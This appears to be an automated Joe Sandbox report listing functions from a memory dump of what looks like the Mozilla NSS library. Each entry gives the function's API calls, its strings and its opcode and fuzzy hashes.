Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction ID: de297760b8e4570902a3f08134cf0cf4033cff3bd29828cb874390a473a00e34
Opcode Fuzzy Hash: 22b7a8d2ef676f60125aca13eedd16664bc92c3fee75bc7053f74d697f8e4f05
Instruction Fuzzy Hash: 8FA129B19082019BEB188F24DC45B9B33A5DB8130CF244939F919EBB81E775D866C75B

Function 6C67AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF39
PR_Unlock.NSS3(?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67AF69
TlsGetValue.KERNEL32 ref: 6C67B06B
EnterCriticalSection.KERNEL32(?), ref: 6C67B083
PR_Unlock.NSS3(?), ref: 6C67B0A4
TlsGetValue.KERNEL32 ref: 6C67B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C67B0D9
PR_Unlock.NSS3 ref: 6C67B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B182

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C67B177

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C65AB95,00000000,?,00000000,00000000,00000000), ref: 6C67B1C2

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,?,6C670844,?), ref: 6C6A157A
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(?,?,?,6C670844,?), ref: 6C6A158F
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?,?,?,?,6C670844,?), ref: 6C6A15B2

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction ID: c73c720e395a00100922ccd4b5ebd6714f69580e21471cf4aa05a7fbd812be4f
Opcode Fuzzy Hash: b4256934b1a81df0f31671c799b54010b8c6d9927f5b717cc7dd99fa5dae8639
Instruction Fuzzy Hash: B2A1D1B1D00206ABEF109F64DC41BEEB7B4EF49308F144524E905A7712E732E959CBAA

Function 6C672C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?gl,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C62
EnterCriticalSection.KERNEL32(0000001C,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C76
PL_HashTableLookup.NSS3(00000000,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672C93

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23,?), ref: 6C672CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?,?,6C673F23), ref: 6C672CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C66E477,?,?,?,00000001,00000000,?), ref: 6C672D4D
EnterCriticalSection.KERNEL32(?), ref: 6C672D61
PL_HashTableLookup.NSS3(?,?), ref: 6C672D71
PR_Unlock.NSS3(?), ref: 6C672D7E

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

#?gl, xrefs: 6C672C43

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?gl
API String ID: 2446853827-3528240498
Opcode ID: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction ID: 9ad7b14718b6e1c8ee91811fa165ace448525d4ee584b7cf5fde45cca95f9b67
Opcode Fuzzy Hash: 405cd4fe03c96939331ebee95d1cd3edca420f304c070ba4366a49c951f4120c
Instruction Fuzzy Hash: B351E5B5D00605EBDB109F24DC458AA77B8FF1A35CB148930ED1897B11EB31E964C7E9

Function 6C6CAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CADB1

Part of subcall function 6C6ABE30: SECOID_FindOID_Util.NSS3(6C66311B,00000000,?,6C66311B,?), ref: 6C6ABE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6CADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6CAE08

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6CAE25
PL_FreeArenaPool.NSS3 ref: 6C6CAE63
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAE4D

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAE93
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C6CAECC
PL_FreeArenaPool.NSS3 ref: 6C6CAEDE
PL_FinishArenaPool.NSS3 ref: 6C6CAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CAEF5
PL_FinishArenaPool.NSS3 ref: 6C6CAF16

Strings

security, xrefs: 6C6CADEE

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction ID: 30b04a4a87e8a1d094b011f1db4aa56e5b106d5621c01bb42be3d72708355082
Opcode Fuzzy Hash: 61bff6b2bb6bf6a80249b080d97401dd5a9447dabf5a7986831d16c69e5a71cd
Instruction Fuzzy Hash: 43413AB1A04304A7E7205B18EC49BAB72B8EF4630CF140625E914A2F42F735DA1AC7DF

Function 6C76AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C76AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C76AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C76AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C76AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C76B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B070
PR_JoinThread.NSS3(?), ref: 6C76B07B
free.MOZGLUE(?), ref: 6C76B084
EnterCriticalSection.KERNEL32(?), ref: 6C76B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C76B0C4
PR_JoinThread.NSS3(?), ref: 6C76B0F3
free.MOZGLUE(?), ref: 6C76B0FC
PR_JoinThread.NSS3(?), ref: 6C76B137
free.MOZGLUE(?), ref: 6C76B140

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction ID: f9ddc9833ab67dbbcbe1a80a245148f32037fe0ed269237f433b6ae319585ef8
Opcode Fuzzy Hash: 21fd622904193fc153ff19e6334f295dae96a49c9dfabf141f1235502bf79b4f
Instruction Fuzzy Hash: 52916DB5900601DFCB04DF16C98494ABBF1FF8535872985A9E8195BF22E732FC46CB91

Function 6C6E5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2BF0
Part of subcall function 6C6E2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C07
Part of subcall function 6C6E2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C1E
Part of subcall function 6C6E2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6E2A28,00000060,00000001), ref: 6C6E2C4A

free.MOZGLUE(?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D0F
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D4E
free.MOZGLUE(?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D62
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D85
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5D99
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E47
free.MOZGLUE(?,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6E80C1), ref: 6C6E5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6EAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6E5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6E5F4B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction ID: ccfaa29ebd7421f033e672f1e677cedeafec0bb7f6cb9aee69864ac51dab5b3d
Opcode Fuzzy Hash: e791a5d963983e690068c154b75e9ddf8b89e6e44c5a412845851091352e3bbe
Instruction Fuzzy Hash: 2971C2B4A05B019FD700CF60D884A96B7F5FF89308F148529E81E87B11EB32F955CB59

Function 6C668DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C668E22
EnterCriticalSection.KERNEL32(?), ref: 6C668E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C668E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C668E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C668EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C668EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C668EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F00
free.MOZGLUE(?), ref: 6C668F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C668F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C668F5B
PR_Unlock.NSS3(?), ref: 6C668F72
PR_Unlock.NSS3(?), ref: 6C668F82

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction ID: 4ed5d4e1d00a07b72f3c5744550685c3ed520d2649cf699b35357d5168366f8a
Opcode Fuzzy Hash: 3b53da0e8bc34380ef8e9afb662128bf22662be034f5b46d1021dc1c1b29343f
Instruction Fuzzy Hash: 18510BB2D00215AFD7009F7ACC449AEB7B9EF5A358B144129EC089BF10E731ED4587E6

Function 6C68CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C68CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C68CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C68CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C68CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C68CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C68CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C68CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C68CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C68CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C68CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C68CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C68CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C68D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C68D021

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: d1f651082c0f3a5d7c5d58c19e336fc211ff98c86a1f23ede3cf83dfc7696c3f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: C5313071B9791127EF0D149B6C21F9E254A4B6630EF440039F90BE6BC0FA859A5702BD

Function 6C760FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C761000

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C761016

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_Unlock.NSS3(?), ref: 6C761021

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761046
PR_Unlock.NSS3(?), ref: 6C76106B
PR_Lock.NSS3 ref: 6C761079
PR_Unlock.NSS3 ref: 6C761096
free.MOZGLUE(?), ref: 6C7610A7
free.MOZGLUE(?), ref: 6C7610B4
PR_DestroyCondVar.NSS3(?), ref: 6C7610BF
PR_DestroyCondVar.NSS3(?), ref: 6C7610CA
PR_DestroyCondVar.NSS3(?), ref: 6C7610D5
PR_DestroyCondVar.NSS3(?), ref: 6C7610E0
PR_DestroyLock.NSS3(?), ref: 6C7610EB
free.MOZGLUE(?), ref: 6C761105

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction ID: 0be9266e25295d986855f9001a957344754722453cf731bed1f07a0631cffab7
Opcode Fuzzy Hash: d5844f10117e651e206211e29e9981062243c96b94bfa0603b7885be07ad219d
Instruction Fuzzy Hash: 77316BB5900402BBDB019F15EE45A45BBB6FF02319B188130E80952F61E732F979EBDA

Function 6C5DDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5DDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5DDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5DDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5DDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DDECD

Strings

database corruption, xrefs: 6C5DDF77, 6C5DDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DDF6D, 6C5DDFCC, 6C5DDFDD
%s at line %d of [%.10s], xrefs: 6C5DDF7C, 6C5DDFEC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction ID: c17f001fb6a41653d29d53ad03bc4551fc80e228bc2deba9a953e3157f71b89e
Opcode Fuzzy Hash: 9229fedb5ee16a46f2b1f169addab3cd11a2c32e7cfd13c0ad3c1e43b629f763
Instruction Fuzzy Hash: E6A1B3716043069BC710DF2DCC80A6AB7F5EF95308F1A896DE8858BB51E730F945CBA6

Function 6C69EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C69EE0B

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C69EEE1

